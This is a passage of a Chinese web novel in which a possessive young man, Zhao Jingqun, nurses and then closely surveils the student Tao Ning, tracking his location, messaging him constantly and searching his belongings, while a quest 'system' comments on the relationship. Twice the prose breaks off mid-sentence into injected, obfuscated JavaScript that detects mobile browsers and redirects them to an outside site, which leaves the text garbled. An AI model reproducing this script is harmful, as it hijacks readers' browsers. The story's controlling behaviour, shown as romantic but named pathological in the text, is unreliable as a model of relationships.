男人背着他,气都没有喘一下,反而在心里越来越认同陶圆说的话,这宝贝太瘦了,以后他要喂胖点。 两人路过一家店面时,里面的老板惊喜道:“小哥是你啊?我们那厨房干净吧,下次记得把菜也带过来啊,我们少收你点钱。” 陶柠想起刚才问那些饭菜是不是买的,男人冷淡地“嗯”了一声,现在才知道原来不是,是他去家庭厨房自己做的。 背着他的人身体有些僵硬,过了许久,赵静群才听见耳畔有个很浅的呼吸声,“谢谢你。”甜腻的柠檬味果香也钻入了鼻尖。 很好闻,疲惫了一天的身体,终于得到彻底放松。 到了酒店,赵静群直接订了有浴缸的房间,向前台要了个防水的凳子,才抱着少年进浴室。 赵静群放好洗澡水,最后在门外守着他。 时间一点一点过去,直到浴室门开了,少年换好衣物出来,赵静群皱眉,“怎么自己出来了?” 陶柠垂着头说,“我能走路……” 赵静群眉头皱得更紧,“沾到水了没?” 陶柠不作声了,赵静群眉头微蹙,不容拒绝地将他一把横抱起,放到床沿,蹲下来小心翼翼把他的裤子掀上去,又从裤子口袋里掏出一卷纱布。 陶柠低着头看,男人皱着眉,如刀削的轮廓绷得很紧,换纱布的动作却非常熟练,似乎这样的事情他曾经做过千百遍了。 “你以前……经常受伤吗?” 男人垂着头给他腿上缠纱布,过了片刻,才淡淡地“嗯”了一声。 “为什么?” 赵静群仔细地给他包扎好,抬起眼皮,一双漆黑的眼睛沉沉地看着满脸好奇的少年,嘴角上扬,就这样看着他,也不说话。 过了许久,少年漂亮的脸蛋上都是好奇心,见他这么盯着自己,又露出几分困惑。“怎么了?” 赵静群在心底叹了口气,这活宝贝的确是个呆子,他指了指自己的唇,“亲我一口。” 少年水润的双眸如散发光泽的珍珠,他盯着男人有些干燥的唇,闭上眼睛,低头亲了上去。 然而红润的唇刚贴上去,后脑勺就扣上了一只宽厚粗糙的手掌,那双干燥到有些裂开,带着很淡烟草味以及浓烈雄性气息的唇重重吻了上来。 男人动情地吻着他,难以自抑地掠夺少年嘴里的氧气和甜腻,咬着他软嫩的舌尖,房间里发出了暧昧黏腻的水声。 足足过了有五分钟,到了最后,怀中的人受不了了,少年几乎喘不过气,用手去推似着了魔般亲他的男人。 这点力气对男人来说,等于没有,就像情趣一样,但男人还是停止了唇上的掠夺。 男人发出一声餍足的叹气,那双似狼的眼睛紧盯着少年溢出水的眸子,粗糙的拇指擦掉了他眼角的泪珠,然后把他死死抱紧怀里,低沉的嗓音轻声道:“呆宝……” 16. 第 16 章 那天晚上,赵静群又把陶柠稳稳当当背回去,把他抱进怀里,一边轻轻拍他的背哄他睡觉,一边和他解释为什么包扎伤口很熟练。 “我三岁的时候被人拐走了,买家是个独眼狼,家里一穷二白,娶不到老婆,所以把我买过去养老,他在附近帮人催债,我十一岁的时候也跟着去了,催了五六年,赵家找到我,就把我接回去了。” “收那些钱偶尔会见血……” 所以受伤是常事,没钱去医院,就自己买几块旧纱布随意包扎了,还有一部分伤,是那个独眼的养父喝醉了酒,或者碰到不顺心的事,他就会遭一顿毒打。 但是这些赵静群通通都没有说,其他不是很重要的事三言两语就说完了。 自始至终,他神色毫无波澜,事不关己的样子仿佛在说别人,直到怀中的人贴上来,轻柔地啄了一下他的脸颊,清冽的果香瞬间抚平他暗藏的暴戾。 垂下眼皮,和少年干净的双眸对上,赵静群深深凝视着他,轻呼一口气,手掌微颤盖住少年的眼睛,哑着嗓音哄他:“好了,睡前故事听完了,乖……睡觉。” 有了陶柠, 他不会觉得孤单了。 自那以后,赵静群白天给他做一日三餐,盯着医生给他换药,晚上就带他去酒店洗澡。 陶柠每次小声说有点浪费,赵静群就直接堵住他的嘴,让他说不出话。 陶柠刚开始会红着脸反抗,到最后就不敢提了。 因为男人亲他不仅时间久,而且还很用力,偶尔一两次他睁开眼睛,撞入男人阴沉沉的眼眸,那双狭长的眸子里充满了浓烈的占有欲,甚至有些恐怖。 就像草食性动物被黑暗里森冷的野兽盯住了,陶柠感到有些不安,以至于他不太敢反抗了。 直到出院那天,陶圆来接他们回家,一眼就看见赵静群左右手拎着大包小包,陶柠垂着眼睛跟在他身后,双手空空,脸色也红润得像娇艳欲滴盛开的玫瑰花,完全没有刚进医院时的惨白。 就是嘴巴肿了点,是被什么虫子咬了吗?陶圆也没多想,她就前两天来送过鸡汤鸭汤,后面家里农活太忙了,赵静群也给她发消息,说会照顾好陶柠,甚至要了一大串陶柠喜欢吃的东西。 陶圆很放心,就把陶柠托给赵静群照顾了,只是到家的时候,她把陶柠喊进去看小檬做作业,然后把赵静群拉到一边,给他塞了五六百,“静群啊,这几天柠柠实在是麻烦你了,家里事情太多我忙不过来。这些钱你收着,就当姐请你买点东西,你走那天姐再请你吃饭好不啦?” 赵静群没跟她推来推去,收起来了,漫不经心问:“家里有什么活?” “嗳唷,有三亩地的稻子要收啦,还有半个山头的柠檬要拿出去卖,事情多着呢,柠柠这几天不在,家里的鸡鸭都饿了几顿……” “这样,明天我跟着你去。” 陶圆面露喜色,“哎哟静群你是个好男人啦,可惜我没闺女,不然真想把你招进家里做女婿,太好了你这孩子……” 赵静群不动声色瞥了一眼屋内,陶柠坐在小檬身旁,暖色的灯光下,他垂着头,露出修长白皙的后脖颈,指着书桌上的习题册,殷红的唇一张一合。 这副画面,看得赵静群嘴角不自觉勾起笑意,与此同时,埋藏于心脏最深处的阴暗却有些蠢蠢欲动。 有时候陶柠不听话,他真想造个笼子把他关起来,这样他就能每时每刻都在自己眼皮子底下了。 不过绝大多数时候,这些阴暗的想法只是刚冒出头,看见陶柠那副低眉顺眼的乖样,赵静群的心就软下来了。 他走过去把一副崭新的眼镜放在桌上,眼镜依旧是陶柠以前戴的款式,很土很不起眼。“以后只有我在的时候才能摘下来,知道么?” 赵静群的行为就像一匹死守伴侣的恶狼,除了他自己,其他雄狼要是敢窥伺少年的美丽,都会被他咬死。 陶柠听话地把眼镜戴上,没有度数,他“噢”了一声,继续给小檬讲题了。 当天晚上,赵静群早已越过了两张床仅有几十厘米的界限,如这个房间真正的主人一样,自然而然占据了陶柠的床,抱着他睡觉,双手如铁般死死禁锢着他。 怀里的人只是稍微挣扎一下,男人就抱得更紧了。 次日陶柠醒来,发现赵静群换了一身运动服,拿着他的手机不知道在做什么,见他醒了,就把手机递过去,又指了一下桌上的保温盒。 “到了补课的地方就给我发消息,无论在做什么手机都要带上,听话,嗯?” 陶柠低头看了一眼手机屏幕,上面显示实时定位,传送人是一个叫“老公”的备注。 他没动过手机,是赵静群自己加的备注,陶柠点了点头,很乖的“嗯”了一声。 “饭菜我做了两份,一份放在锅里给你温着了,另一份你中午送到山里来,到了山脚就给我打电话,你不要动,等着我来接你,知道么?” 陶柠愣愣地看着赵静群给他安排好了一切,“你……你去山里做什么?” 赵静群摸了一把他软乎的头发,盯着他看,笑容有些匪气,“给我老婆家干活呗。” 陶柠如玉的脸颊瞬间红了,下一秒,左脸颊上被男人啄了一口,低沉的声音逐渐远去,“晚上在家等我回来。” 男人走后,陶柠就去给人补课了,补课的时间不长,两到三个小时。 以往陶柠给人补课会投入百分之两百的心神,就算是休息时间,他也会批改作业或者准备好下一次课,绝不会出现任何偷闲自己玩的情况。 只是现在,有点不一样了。每过半个小时或者十几分钟,那个叫“老公”的备注就会发消息给他。 【喝水了么?】 陶柠喝了口水,放下手里的红笔,回复“喝了”两个字,手机那边就会立刻弹出一个消息。 【乖,实时定位再发给我一次。】 陶柠研究了一下实时定位的软件,给他发过去了,那边收到他的定位后,也就没回复了。 但不出半小时,那边依旧会发消息过来。 【乖,喝水。】 ——10:25。 【站起来活动一下,听话。】 ——11:00。 【有点想你,拍张照片给我,好吗?】 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859538|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 11:02。 【乖,定位再发一下。】 ——11:45。 如果陶柠在专心给人讲题,忘记回复了,手机就会立刻响起电话铃声,一直响到他接起电话。 透过传音器,也能听出男人声音里的不悦,“在干什么?” 系统嘎吱嘎吱磕瓜子,唏嘘道:【我滴个呆瓜,你这找的哪儿是老公,分明是二十四小时盯着你的男鬼啊,太吓人了,你挂了算了。】 陶柠不想理会它,闷闷地回复电话那边的人,“给人讲题。” 电话那头沉默了一瞬,语气放缓了,“是不是我打扰你了……呆宝?” “呆宝”两个字男人是细嚼慢咽的,一个字一个字吐出来的,好似少年被他放进嘴里含着一样。 陶柠耳朵有些发烫,但没听出男人有些可怜的意思,直接了当说:“嗯,有点。” “……” 电话那头轻笑了一下,低沉磁性的嗓音带着无奈,“可是作为你男朋友,我多关心一下你也不可以么?” 过了片刻,那边的声音放得更低了,似乎还有几分恳求,“呆宝,看不见你……我不放心。” 赵静群想起那天陶柠在树林里差点被人欺负的事情,内心的暴戾就怎么也止不住,如果现在不是法治社会,他绝不会简单踢几脚就放过那个人。 他黑沉的眸子里闪过微不可闻的阴狠,但是快得让人察觉不了,或许是多年前那些游走在社会边缘的经历,赵静群有时候对正常人的生活会感到恍惚。 他那时候年纪小,也不够高,催债的时候完全唬不住人,所以经常挨打,受其他人挤兑。 后来赵静群就学着那些厉害的人“装点一下自己”,染红了头发、打满了耳钉、抽劣质的烟喝劣质的酒,慢慢地,他再也不是什么赵家的太子爷了,而是一个像垃圾一样的混混。 即使现在被接回赵家,有些习惯,他却再也改不过来了。 就像常年生活在野外的孤狼,对自己发现的宝物有极其强烈的占有欲和控制欲,他必须无时无刻掌握宝物的状况,确保宝物不会离开。 所以陶柠只要一离开视线范围内,男人就会陷入无止尽的焦虑与恐慌。 赵静群知道自己的想法和行为到了病态的地步,但他不想去改变,也控制不了自己。而陶柠柔软老实的性格,有时也在助长他愈发扭曲的占有欲。 见电话那边迟迟没有声音,赵静群踩死了一只吸满血的水蛭,血液四溅,入眼的是满目猩红,却稍微缓解了他内心的焦躁。 “呆宝,我错了好么?不要不理我……” 男人平静的低哄,让电话那边的人完全感受不到他焦躁不安的情绪,甚至连攥着手机的指尖都发白了。 片刻,电话那边终于传来少年轻软的声音,“没有不理你,刚才在和他讲题。” 赵静群眼底的幽暗逐渐散开,“真乖,讲完后要立刻喝水,我明天去给你买润嗓子的。” “不用了。” “乖,听话。” 分明是哄着人的声音,语气里浓烈到扭曲的控制欲,却叫人有些心惊胆战。 17. 第 17 章 陶柠给人补完课后,回家吃完午饭,把鸡鸭都喂了,就去给赵静群还有陶圆他们送饭去了,手机上还在源源不断发来消息。 【补完课了吗?】 【乖,饭菜都在锅里了,慢点吃,记得多喝水,喂饲料的时候离鸡圈远一点,听话】 【吃完饭后不要把长裤脱了,这边蚊子很多,等会到山脚下给我发条短信】 【定位再发给我一下】 陶柠按照男人说的都做了,走之前也把定位发给他。 去送饭的路上,系统有一搭没一搭和他聊天。 【呆瓜,你打算什么时候执行我们的最终任务啊?离你进城就剩一个月左右的时间了吧,你可得抓紧了,看赵静群这样子,你拖的越久,想从他那里脱身的机会就越小......】 陶柠垂下眼睫,遮住了眼底的思绪,“嗯”了一声。 系统问:【你喜欢他吗?】 听到这个问题,陶柠愣住了,他不由自主地把手放在胸腔处,感受到了自己匀速跳动的心脏,除此以外,什么感觉也没有。 为什么.....会这样? 喜欢一个人是什么感觉? 系统似乎早知道他的感受,淡定地安慰他:【不喜欢也没关系,继续攻略下一个吧。】 陶柠放下心底的困惑,快要到山脚下时,忽然感觉到身后有两道黏腻阴冷的视线,就像阴沟里老鼠贪婪的视线一样,让人浑身不舒服,除了对情绪的感知力极低,他对这些不怀好意的目光还算比较敏感。 回过头,是两个同时佝偻着背的男人,陶柠都认识。 一个是曾经差点欺辱他的张麻子,脸上还带着青紫,看来是那天的伤还没好。另一个则是已经退学,逼陶柠和他“做朋友”,没成功后恼羞成怒的社会混混王龙。 两人见少年看过来,不约而同互相对视一眼,都从对方眼里看到了惊喜和贪婪的欲望。这他妈今天踩了什么狗屎运了?陶柠居然让他们给碰上了! 张麻子眼底有恨意和贪欲,“真是运气好啊……” 但两人都不敢轻举妄动,毕竟一个被男人揍到差点残废,住了几十天院现在还没好全,另一个被陶圆拿柴刀威胁过,所以他们只是远远看着陶柠,没有走上前。 可陶柠站在那里,对他们的诱惑力就足够大了。少年今天不同往常,没有穿那条到膝盖处的短裤,而是长衣长裤,衣服材质却很好,一看就是舒服的料子。 仿佛少年已经名花有主了,而且那人的嫉妒心极强,每天给少年挑选的衣物都是严严实实的,一点细嫩的皮肉都不叫他露出来。 但那人似乎疏漏了,在有些人眼里,即使陶柠一点肌肤都没露出来,还戴着土到掉渣的黑框眼镜,对他们来说,仍旧别有一番风味。 无他,少年实在过于美丽,那样惊艳的容颜,他们这些人哪怕只是见过一眼,这辈子也都不会忘记了。 王龙以前特别看不上那些只会读死书的所谓好学生,尤其是陶柠这样的,家里是出了名的贫困户,穿衣打扮也土死了,瘦胳膊瘦腿,成天低着头在座位上也不知道在写什么,偏偏所有老师都喜欢他。 王龙又厌恶又嫉妒,所以经常放虫子和死老鼠到陶柠的座位里,但没想到这土包子也不怕,而是用棍子把他们都挑走了。 后来王龙想了个更狠的招,干脆把陶柠骗到厕所里堵住,扒了他的衣服看看,到底是不是男的,因为这土包子偶尔不经意露出来的脸颊,会让他好一阵恍惚。 皮肤白得晃人眼睛,嘴巴也那么红,不会是女扮男的吧? 陶柠那土包子太好骗了,王龙随便叫人编了几句谎话,就把他骗到厕所里来了,他那天穿的短衣短裤,看到厕所不怀好意的王龙,转身就走。 王龙瞬间拉住他的胳膊,笑得眼睛眯成了一条缝:“别走啊好学生,这么怕我做什么?我今天叫你来是想和你交个朋友的。” 陶柠回过头,戴着黑框眼镜的脸上没什么表情,直接拒绝了:“我不想和你交朋友。” 王龙瞬间怒上心头,这么一个穷酸土鬼,自己和他交朋友是他修了八辈子的福气,他还敢拒绝? 王龙当即把陶柠扯过来,想要拽住他的头发,陶柠拼命挣扎,两人争执间。 啪嗒一声。 少年的眼镜掉了,较长而显得阴郁的刘海也因为挣扎散开,露出漂亮精致的五官,还有那双潋滟如静谧湖水的眸子。 陶柠愤怒地瞪着他,一向低软的声音也带了隐忍的怒意,“我说了,不想和你做朋友……” 然而王龙根本没有听见陶柠在说什么,直接盯着他那张漂亮到像娃娃的脸惊呆了。 这这这他妈是土包子?早说长这样啊!难怪他以前总有那种觉得陶柠长得很带劲的错觉。 王龙正想抓住他再说几句话,然而少年早已经捡起眼镜走了。 从那天开始,陶柠被这个叫王龙的同学频繁骚扰,他一个对周围情绪的感知能力极低的人,都能感觉到王龙对自己的狂热。 陶柠一直想不明白为什么,与人交朋友是这样的么?直到那天回家的路上,王龙把他堵住,眼底的疯狂让人感到不安,双目猩红朝他道:“柠柠,我爱你我爱你,和我……” 他话还没说完,身后就传来一道破口大骂的声音:“**你个臭傻逼***,敢打老娘弟弟主意,我**搞死你!” 陶圆披头散发提着杀猪刀冲出来,满脸狰狞,那刀上面还有未干涸的血迹,乌漆嘛黑的山路上,显得格外阴森恐怖。 王龙顿时吓破了胆,他听过这个女人的事迹,年轻时候是这几个山头最出名的女流氓和大姐头,砸过KTV和酒吧,差点进去了,后来嫁人生子才收敛了许多,但护短护得极其厉害。 他怕陶圆真的拿刀砍自己,屁滚尿流跑了,后来王龙被学校劝退了,已经很久没见过陶柠了,没想到现在遇上了。这不是天赐那个什么良缘是什么? 王龙黝黑的脸上挤出一个讨好的笑,刚想上前和陶柠搭话,他身后就传来两道森冷的声音—— “他奶奶的臭小子怎么又是你?” “想死么?” 王龙和张麻子两人一个激灵,齐唰唰看过去,只见赵静群和陶圆一左一右站在少年身后,同时沉着脸看他们。 赵静群更是直接上手,一把揽住了陶柠的肩膀,面无表情吐出一个字:“滚。” 张麻子看到他就想起那天在树林里差点被打成半残的痛,心底发怵,声音发虚说:“你们给我等着……”然后和王龙马不停蹄走了。 两人一走,赵静群急忙板正怀里的人,上上下下打量他,确认陶柠没有受伤,才松了口气。 只是之后的时间里,男人脸色一直都很差,连不怎么会看别人脸色的陶柠都察觉到了,因为赵静群的脸色实在有些吓人。 陶柠把饭交给他们,趁陶圆吃饭时,他凑到赵静群身旁,轻声问他:“怎么了?” 赵静群沉沉地盯着他,“下次碰到这些人要立刻给我打电话。” “嗯……” 他近期才有的手机,根本没习惯使用,除了回复“老公”的消息,从来不玩,活得就像一个生活里除了做题还是做题的机器。 陶柠拍了拍他裤脚上干活时沾到的泥巴和灰尘,却被男人一把抓住了手,他听见赵静群不悦道:“别拍了,脏。” “不脏。” “……脏。” “不脏的。” 陶圆在一边实在听不下去了,瞪着他们两个,“脏什么脏的,你俩是小学生吗?小檬都比你们懂事,柠柠你赶紧的,等会回去喂猪去,还有小檬等会也该放学了,别忘了去接他,不然你唯一的外甥可就没了。” 陶柠露出一抹笑,点了点头,陶圆把饭盒放下,拍了拍手就先一步上山了。 他上前想去收拾碗筷,被男人从身后抱住了腰肢,脑袋压在他的肩膀上,语气带着恳求和蛊惑:“呆宝,晚上回去多笑一笑好么?我想看。” “……嗯。” 脸上忽然被猝不及防吻了一下,陶柠看过去,只见炽热的日光下,红发张扬似火的男人笑着和他挥了挥手,指着他的口袋,张了张嘴,却没有发出声音,转身走远了。 陶柠困惑地低下头,才发现,口袋里有一朵玫粉色的月季花,是山上随处可见的山花,开得正艳。 他愣了一下,心底涌出了一丝丝说不清道不明的情愫。 忽然,脑海里响起机械的声音:【叮咚!恭喜宿主的攻略进度完成了百分之三十。触发攻略赵静群单人线第三条任务——】 【匆匆那年,离别总是悄然而至,请宿主在二十天内让赵静群说出‘我爱你’这三个字,最后与他好好告别!】 陶柠怔愣,他脱口而出:“我拒绝。” 系统乐呵呵问:【呆瓜,你真的喜欢上他了吗?】 陶柠沉默了,他提着保温盒,沿着回家的路走了许久,口袋里的手机不停传出消息和电话通知,他另一只手攥着已经被摘掉刺的月季。 到了家门口,陶柠低头看手里有些枯萎的月季,眼底忽然产生从未有过的迷茫。 他说:“我不知道。” 【宿主,你还有二十天的时间,请努力吧!】 脑海里嗑瓜子的声音停止了,系统说:【呆瓜,你不想要一副好身体了吗?】 陶柠把月季放进口袋里,“我想,但是我觉得……这样做不对。” 系统笃定道:【你对他不是真正的喜欢,是感激。而且呆瓜你还没发现吗?赵静群在控制你的生活,再这样下去,你就只能生活在他的羽翼下,失去自我。】 【到了最后,你任何想做的事情都会被他剥夺,这种人最可怕了,何况这只是一场任务,你对他不是喜欢,相信我。】 陶柠没有作声,又听见系统严肃说:【这可是我看了那么多强.制脆皮鸭文学得到的经验,你不要不信!】 陶柠:“……” 他把月季放到一个装了水的塑料瓶里,洗了碗,就去接小檬放学了。 结果牵着小檬回来后,就碰到了蹲在门口叼了根狗尾巴草的赵静群,一见到他回来,脸色极其阴沉,似乎酝酿了一场风暴。 只是看到他身旁的小檬,赵静群克制住了,一直到陶柠洗完澡。 赵静群帮他擦完头发,然后抱着他上了床,打开他的手机,满屏都是未读的消息,不满地问:“给你发了那么多消息怎么一条也不回?你知不知道我有多担心。” 难怪他提前回来了,但是陶柠这次没有乖乖的认错,垂着头没有说话。 赵静群忍了,毕竟他清楚自己的宝贝是个闷葫芦,十句话里面有一句是这个活宝贝感兴趣的,他就谢天谢地了。 他吻了吻陶柠的唇,“不是答应了要笑给我看?笑一个。” 陶柠抬起眼,勾起一个很淡的笑容。赵静群瞬间看呆了,他情难自抑地吻上去,用尽全力去加深这个有着不安与焦躁的吻,就像一头被伴侣拒绝的狼,焦躁不安。 过了许久,赵静群才恋恋不舍结束,他认真地看着小口喘着气的陶柠。 “……何言他们明天想带你去镇上吃顿饭,想去吗?” 陶柠点了点头。 赵静群蹙起眉,接着松开,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859539|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道少年的行为又戳到他哪根神经了,脸色又难看起来,“那他们想带你回家,你也去么?” 陶柠抬起眼,漂亮的眸子里有些莫名其妙:“不去。” 赵静群脸色放缓了,故作镇定问:“那我要带你回家呢?” 果不其然,少年不说话了,赵静群怒从心头起,凑到他白皙清瘦的锁骨上咬了一口,轻轻地磨牙。 “呆子……” 晚上,陶柠直接被亲哭了,第二天去镇上的时候,眼睛都是肿着的。 这一天家里没有太多活,陶圆就放他们去了,刘书记也在,他还偷摸把陶圆拉到一边,塞了一个红包到他口袋里,说:“柠柠你收着,这次做向导的钱发下来了,上次的事是刘叔对不住你,刘叔还给你加了点,你别和我见外啊,最好和你姐说说,这几天她老念叨那天的事……” 陶柠点点头,收下了。紧接着听见刘书记边挠头边困惑:“今天这天气还挺冷的……” 他一回头,就看见赵静群阴森森地盯着他们,陶柠忽然懂得了男人内心所想,慢悠悠过去了,果不其然,男人的脸色瞬间好了起来。 一行人到全镇最贵的饭店的时候,何年年又开始嫌弃了,只是这次,她声音没有那么大,“什么破地方,服务员怎么长得又老又丑的……” 于是一顿饭吃得所有人食不知味,除了陶柠和赵静群,因为一个人只知道低着头默默吃饭,另一个则双手没停过——给陶柠剥虾壳,剥螃蟹等等各种海鲜或者带壳的东西。 陶柠面前专门有一个碗拿来放菜的,里面的菜已经堆满了。 何年年表情怪异,凑到赵静岁耳边说:“你哥突然变得好奇怪啊。” 赵静岁抬眸看了一眼始终在照顾少年的赵静群,没什么表示,夹了一筷子菜放到何年年碗里,“好像是……但今天你请吃这顿饭的目的不是为了向陶柠道歉吗?” 何年年嘟着嘴,“我才没有。” 这顿饭陆陆续续吃到最后,何年年装模作样咳嗽了几下,看着陶柠说:“那个,那个你,陶柠,我今天晚上就要回家了,看你没见过什么世面……” 她的衣角被人拉了几下,何年年顿时拉下脸来,别扭着说:“谢谢你那天救了我,我请你吃顿饭,但是这不代表我会承认你比我优秀的,我告诉你,那天是我发挥失常了所以才没把题做出来……” 陶柠有点没搞懂她想表达的意思,但是听明白了她是来道歉的,他正想点头,赵静群说话了,挑着眉道:“真想道歉就别说废话了,不如给点实在的。” 何年年敢怒不敢言,哼了一声,“那你说什么才叫实在的?” 赵静群淡淡地回答:“给钱。” 何年年跟看鬼一样看他,这混混又发什么疯?自己钱多的是,把主意打到她身上做什么? 可目光转向陶柠,何年年心里又不舒服了,“好吧,要多少?” 赵静群气定神闲开口:“两万。” 刘书记在一旁听得目瞪口呆,这些天他们过来,上面发下来的辛苦费也才三四千,这人一张口就是两万!不愧是城里的有钱人啊。 陶柠也愣了,在桌下扯了扯身旁的男人,却被他一把捉住了手,粗糙的指腹抚摸他伶仃的手腕,似乎在安抚他。 何年年瞪了他一眼,也没多说其他的,“两万就两万,哼!”她直接从钱包里掏出来一张卡甩过去,“这里面刚好三万块,你拿走吧,我们两清了!” 说完这些话,她又变成了那个趾高气昂的大小姐,和赵静岁继续说小话,到了最后宴席要散了时。 她才很是别扭的走到陶柠身边,眼珠不自然地转着,“喂,你,你和我拍张照吧,让你见识一下什么叫相机。” 赵静岁在旁边微笑,“她的意思是有些舍不得你。” “喂!岁岁!你不要胡说!” 陶柠还没说话,赵静群皱眉拒绝了,“不行。” 何年年顿时火冒三丈了,直接怒道:“你是他谁啊你就帮他做决定?别以为你家有点权利有点臭钱了不起啊……” 陶柠弯了弯眼睛,轻声说:“我和你拍照。” 这次换赵静群一副臭脸了,何年年刚才还满脸怒意,听到少年的话后,顿时笑了起来,直接上手挽住了陶柠的胳膊,把他拉到了一旁。 赵静群的脸色更阴沉了,活像是老婆和别人跑了一样,但他深吸了一口气,没有阻止了。 因为他知道少年心情不错,也知道自己又犯病了。 赵静岁把一切都收入眼底,若有所思地在赵静群和陶柠之间来回打量了几下。 另外一边,何言举着相机,给陶柠和何年年拍了照片,何年年兴奋地跑去镜头看,结果就看见了站在她旁边,浑身上下写满局促的陶柠,加上他脸上戴的黑框眼镜,看着总觉得遮掉了些什么。 何年年又不开心了,“我就是和你拍个照,又不会吃了你,你紧张做什么?还有你脸上那么土的眼镜,你刚才就不会把它摘掉吗?” “你不会好好说话就闭嘴。”赵静群脸色冷下来。 就在氛围再次变得剑拔弩张时,少年把眼镜摘下来,露出如琥珀般清澈美丽的双眸,红润饱满的唇抿着,“抱歉,那我们再来拍一张吧。” 然而话落后,半天也没有得到回应,过了许久全场都是鸦雀无声的状态,惊艳、震惊的目光从四处黏了过来,纷纷聚集在一脸茫然的陶柠身上。 只有刘书记见怪不怪了,淡定地在嗦嗍螺,而赵静群的脸色已经和锅底一样黑了。 到了最后,何言“操”了一声,内心疯狂吐槽这是哪儿冒出来的神仙啊,这也太好看了! 18. 第 18 章 何年年更是惊艳到嘴巴长大,跟看鬼一样看陶柠,“你你你……”支支吾吾半天也说不出话。 赵静群忍无可忍,夺过眼镜重新戴在陶柠脸上,闭了一下眼眸,敛去快要溢出的占有欲,面无表情道:“就这么拍。” 何年年没反驳,目光却时不时放在陶柠的脸上,似乎要盯出花来,这么一看,也许是之前从未正眼看过这土包子,她忽略了很多东西。 现在才发现,这土包子皮肤白皙细腻,五官底子也极好,可惜总是戴着很土的眼镜,较长的刘海也不剪,垂着眼睛,一副老实巴交的样子,从人群中看过去毫不起眼。 原来他…他那么好看吗? 咔嚓几声。 照片定格了,时间是2012年夏季8月13日。 照片上的双马尾少女瘪着嘴,看起来不情不愿站在无措的少年身边,余光却是黏在他身上的。 何言是用富士500AF拍的,拍了有四五张,只是照片上两人的姿势几乎没有改变,少女自始至终很别扭,少年也始终局促。 刘书记看着从相机上方冒出来的照片,一脸惊奇,“这小盒子可真厉害啊。” 何年年翻了个白眼,懒得和他解释,把其中两张照片“啪”的一声放到桌上,声音是对陶柠说的,眼睛却看着门口,“喏,给你了。” 说完这句话,她非常别扭地拉着赵静岁走了,双马尾在空中一蹦一跳的,就像那天刚来黄檬村时的模样。 那两张照片陶柠还没看就进了赵静群的口袋里,回去的路上赵静群攥着他的手,力气没收,陶柠觉得手有点疼,经过这半个多月的相处,他知道男人有些生气了。 虽然他没明白是为什么,了解一个人的心思果然比做题困难,而要弄清楚赵静群的心思,比最难的数学题还要难。 声音里罕见的有几分无奈,陶柠问:“……怎么了?” 赵静群攥住他的手掌收紧,眼眸微沉,“没事。” 其实是他自己出了问题,不怪陶柠,他受不了陶柠和其他人靠近,哪怕只是简单的拍张照,也嫉妒得心脏好似坠入腐蚀的酸液中,理智到了溃烂的边缘。 他善妒且占有欲极强,严重到了心理病态的地步,赵静群却不敢说,担心陶柠害怕自己。 到了晚上,赵静群拍着陶柠的背哄他睡觉,昏暗的屋子里,他盯着臂弯里熟睡的少年也不眨眼,就这样一动不动地看着。 直到确认床上的人进入深度睡眠,赵静群下了床,拿出白天陶柠拍的两张照片,忍不住摩挲照片里笑得腼腆的少年,眼底溢出有些阴暗的痴迷。 但更多的,是嫉妒。 他面无表情从照片中间撕掉了,只保留有陶柠的部分,而后拿出手机,仔细地翻看相册里的照片——三分之二的照片,都和陶柠有关。 这十几天里,他总会趁陶柠不注意,偷偷拍下陶柠的模样,有低头认真做题的,有撑着脑袋发呆的,有睡得迷迷糊糊的……赵静群都记录下来了。 他把撕掉的照片放进了钱包夹里,做完这些事情后,赵静群将这个破旧的小屋扫视了一圈,就像一头巡视自己领地的雄狼,最后在伴侣的书桌前停下。 想起陶柠那天遮掩的东西,赵静群那时候只觉得好奇,现在会觉得心里不舒服,所以他毫不犹豫开始在一堆数理化习题集中翻找,他想要知道陶柠瞒了他什么。 赵静群不希望陶柠对自己有任何隐瞒或者秘密。 “……你在干什么?” 低头翻找的男人身体瞬间僵住,他手指发颤,回过头,陶柠正揉着眼睛看他,睡衣有些松松垮垮,露出半边细腻白嫩的肩膀。 是系统刚才把他叫醒的:【呆瓜你快别睡了!!赵静群在找我们的秘籍,我只能发给你不能收回去,要是被他找到,他肯定会起疑的……】 是啊,一个表里如一只知道学习的书呆子,怎么可能会看那些口口小说?以赵静群那样想一个事情能绕十个弯的人,肯定会开始怀疑。 赵静群沉默了几秒,走过去将他滑到胳膊的衣领子向上拉,“……找烟。” 陶柠看着他,表情明显不信,但没有拆穿,“可是你答应我要戒烟的。” 赵静群抱住他,亲吻陶柠柔软的发旋,嗓音微哑:“是我错了,乖,继续睡吧。” 男人抱着陶柠入睡,一如既往用禁锢的姿势困住怀里的人,仿佛以自己的身躯编织出一个囚笼,妄想把陶柠永远困在笼子里,不见天日。 但陶柠不是柔软的困鸟,而是可以长成参天大树的树苗。 第二天陶柠没有课要补了,决定跟着赵静群还有陶圆上山,赵静群知道后,很早就起来做了早餐,又炒了五道菜放到保温盒里,全是陶柠爱吃的。 赵静群把几千块的背包从放“猪饲料”的柜子里拿出来,里面放了陶柠平日里做的习题册,还有卫生纸、风油精、蒲扇、可以折叠的板凳等等,以及那天去镇上买回来的蜂蜜小面包。 书包里最显眼的,是两支黑笔和两块红布。 